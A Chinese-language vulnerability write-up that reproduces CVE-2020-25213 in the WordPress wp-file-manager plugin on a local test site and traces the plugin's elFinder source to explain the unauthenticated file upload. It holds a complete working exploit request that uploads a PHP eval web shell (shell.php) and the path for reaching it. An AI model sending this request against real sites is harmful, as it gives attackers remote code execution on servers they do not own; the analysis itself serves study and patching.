• WordPress wp-file-manager 文件上传漏洞 CVE-2020-25213


    1.漏洞复现

    WordPress 6.2

    插件:wp-file-manager 6.0,File Manager (advanced view) – WordPress plugin | WordPress.org (https://wordpress.org/plugins/wp-file-manager/advanced/)

    复现

    后台,安装、启动插件

    前台,提交请求包:

    1. POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1
    2. Host: 127.0.0.1
    3. User-Agent: curl/7.88.1
    4. Accept*/*
    5. Content-Length: 424
    6. Content-Type: multipart/form-data; boundary=------------------------52d91370b674307b
    7.  
    8. --------------------------52d91370b674307b
    9. Content-Disposition: form-data; name="cmd"
    10.  
    11. upload
    12. --------------------------52d91370b674307b
    13. Content-Disposition: form-data; name="target"
    14.  
    15. l1_
    16. --------------------------52d91370b674307b
    17. Content-Disposition: form-data; name="upload[]"; filename="shell.php"
    18. Content-Type: application/octet-stream
    19.  
    20. <?php @eval($_POST[1]);?>
    21. --------------------------52d91370b674307b--

    访问一句话木马:http://127.0.0.1/wp-content/plugins/wp-file-manager/lib/files/shell.php

    2.逆向分析

    从敏感函数逆向分析

    elFinderVolumeLocalFileSystem类

    敏感函数 copy 位于 elFinderVolumeLocalFileSystem类 的 _save方法

    /wp-content/plugins/wp-file-manager/lib/php/elFinderVolumeLocalFileSystem.class.php

    1. protected function _save($fp$dir$name$stat)
    2. {
    3.   $path $this->_joinPath($dir$name);
    4.  
    5.   $meta stream_get_meta_data($fp);
    6.   $uri isset($meta['uri']) ? $meta['uri'] : '';
    7.   if ($uri && !preg_match('#^[a-zA-Z0-9]+://#'$uri) && !is_link($uri)) {
    8.   ...
    9.     if (($isCmdCopy || !rename($uri$path)) && !copy($uri$path)) {

    $uri = $meta['uri'],$meta 取决于 $fp

    1. // stream_get_meta_data语法示例
    2. $fp fopen('d:/flag.txt''r');
    3. $meta stream_get_meta_data($fp);
    4. echo $meta['uri']; // d:/flag.txt

    $path 是 $dir.$name 的拼接结果

    这样如果 $fp 打开的一句话木马,并且 $path 为可访问 WEB路径,就可以 GetShell

    elFinderVolumeDriver类

    elFinderVolumeDriver类 的 saveCE方法 调用了 _save方法

    1. protected function saveCE($fp$dir$name$stat)
    2. {
    3.   $res = (!$this->encoding) ? $this->_save($fp$dir$name$stat) : $this->convEncOut($this->_save($fp$this->convEncIn($dir), $this->convEncIn($name), $this->convEncIn($stat)));

    elFinderVolumeDriver类 的 upload方法 调用了 saveCE方法

    1. public function upload($fp$dst$name$tmpname$hashes array())
    2. {
    3.   ...
    4.   $dstpath $this->decode($dst);
    5.   ...
    6.   if (($path $this->saveCE($fp$dstpath$name$stat)) == false) {

    $dstpath 和 $name 代表 copy 到的路径,$dstpath 取决于 $dst

    查看 decode方法

    1. protected function decode($hash)
    2. {
    3.   if (strpos($hash, $this->id) === 0) {
    4.     ...
    5.     return $this->abspathCE($path);
    6.   }
    7.   return '';
    8. }

    可以看出需要正确的 id 才能得到路径

    elFinder类

    在 elFinder类 的构造方法可以看到使用了 id

    1. public function __construct($opts)
    2. {
    3.   ...
    4.   if ($volume->mount($o)) {
    5.   $id = $volume->id();

    在下面添加:

    1. ob_end_flush();
    2. var_dump($id);

    直接访问 http://127.0.0.1/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php 可以看到响应的 id

    1. string(3"l1_"
    2. string(3"t1_"
    3. {"error":["errUnknownCmd"]}

    其中 l1_ 是可以用的,也就是 $dst 要为 l1_

    elFinder类

    elFinderVolumeLocalFileSystem类 是 elFinderVolumeDriver类 的子类

    elFinder类 的 upload方法 利用 elFinderVolumeLocalFileSystem类对象 调用了 elFinderVolumeDriver类 的 upload方法

    1. protected function upload($args)
    2. {
    3.   ...
    4.   if (!$_target || ($file $volume->upload($fp$_target$name$tmpname, ($_target === $target) ? $hashes array())) === false) {

    其中 $volume 就是 elFinderVolumeLocalFileSystem类对象,怎么知道的呢,看构造方法

    1. public function __construct($opts)
    2. {
    3.   ...
    4.   $volume new $class();

    在下面添加:

    1. ob_end_flush();
    2. var_dump($volume);

    直接访问 http://127.0.0.1/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php 可以看到响应的对象

    1. object(elFinderVolumeLocalFileSystem)#4 (61) {
    2. ...

    再看 elFinder类 的 upload方法 是如何得到 elFinderVolumeDriver类 的 upload方法 的参数的

    1. protected function upload($args)
    2. {
    3.   ...
    4.   $target $args['target'];
    5.   ...
    6.   $files isset($args['FILES']['upload']) && is_array($args['FILES']['upload']) ? $args['FILES']['upload'] : array();
    7.   ...
    8.   foreach ($files['name'as $i => $name) {
    9.     ...
    10.     $tmpname $files['tmp_name'][$i];
    11.     ...
    12.     if (!is_file($tmpname) || ($fp fopen($tmpname'rb')) === false) {
    13.     ...
    14.     if (!$_target || ($file $volume->upload($fp$_target$name$tmpname, ($_target === $target) ? $hashes array())) === false) {

    可以看出来都存在 $args 中

    elFinder类 的 exec方法 可以调用 elFinder类 的 upload方法

    1. public function exec($cmd$args)
    2. {
    3.   $result = $this->$cmd($args);

    如果 $cmd 为 upload,exec方法 就调用 elFinder类 的 upload方法 了

    elFinderConnector类

    elFinderConnector类 的 run方法 调用了 exec方法

    1. public function run()
    2. {
    3.   ...
    4.   $src $isPost array_merge($_GET$_POST) : $_GET;
    5.   ...
    6.   $cmd isset($src['cmd']) ? $src['cmd'] : '';
    7.   ...
    8.   foreach ($this->elFinder->commandArgsList($cmdas $name => $req) {
    9.     ...
    10.     $arg isset($src[$name]) ? $src[$name] : '';
    11.     ...
    12.     $args[$name] = $arg;
    13.   }
    14.   ...
    15.   $args['FILES'] = $_FILES;
    16.   ...
    17.   $this->output($this->elFinder->exec($cmd$args));

    可以看出来 POST请求 cmd 为 upload,就会调用 elFinder类 的 upload方法

    当同时上传文件时,$args['FILES'] 将存储上传的文件的信息

    elFinder类

    在 elFinder类 可以看到 commandArgsList方法

    1. protected $commands = array(
    2.   ...
    3.   'upload' => array('target' => true'FILES' => true'mimes' => false'html' => false'upload' => false'name' => false'upload_path' => false'chunk' => false'cid' => false'node' => false'renames' => false'hashes' => false'suffix' => false'mtime' => false'overwrite' => false'contentSaveId' => false),
    4.   ...
    5.  
    6. public function commandArgsList($cmd)
    7. {
    8.   if ($this->commandExists($cmd)) {
    9.     $list = $this->commands[$cmd];
    10.     $list['reqid'= false;
    11.   } else {
    12.     $list = array();
    13.   }
    14.   return $list;
    15. }

    思路回到 elFinderConnector类

    可以看出来当 POST 请求 cmd 为 upload 并且 target 为 l1_ 时,$args['target'] 将等于 l1_

    1. array(18) {
    2.   ["target"]=>
    3.   string(3"l1_"
    4.   ...
    5.   ["FILES"]=>
    6.   array(1) {
    7.     ["upload"]=>
    8.     array(5) {
    9.       ["name"]=>
    10.       array(1) {
    11.         [0]=>
    12.         string(9"shell.php"
    13.       }
    14.       ...
    15.       ["tmp_name"]=>
    16.       array(1) {
    17.         [0]=>
    18.         string(22"C:\Windows\php147A.tmp"

    思路回到 elFinderVolumeLocalFileSystem类

    可以看出来当 POST 请求 cmd 为 upload 并且 target 为 l1_ 并且 上传文件 时,copy函数 会将临时文件 保存到 $path 路径

    connector.minimal.php

    connector.minimal.php 调用了 run方法

    1. $connector new elFinderConnector(new elFinder($opts));
    2. $connector->run();

    elFinderVolumeLocalFileSystem类

    在 $path = $this->_joinPath($dir, $name); 下面添加:

    1. ob_end_flush();
    2. var_dump($path);

    提交复现中的请求包,可以看到响应的一句话木马路径:.../wp-content/plugins/wp-file-manager/lib/files/shell.php

    本文为免杀三期学员笔记:https://www.cnblogs.com/Night-Tac/articles/17354363.html

  • 相关阅读:
    pyqt实现简易浏览器
    聚乳酸改性乳清白蛋白/肌白蛋白/豆清白蛋白/蓖麻蛋白/豌豆白蛋白1b ( PA1b)|蛋白偶联修饰
    NBextensions/JPT Notebook 载入问题(forbidden)
    kotlin的null
    PTA 甲级 1039 Course List for Student
    MySQL-逻辑架构
    【算法|前缀和系列No.3】leetcode LCR 012. 寻找数组的中心下标
    基于单片机的智能小夜灯床头灯设计
    Python小游戏14——雷霆战机
    19-Echarts 配置系列之: timeline 动态切换
  • 原文地址:https://blog.csdn.net/hongduilanjun/article/details/132851717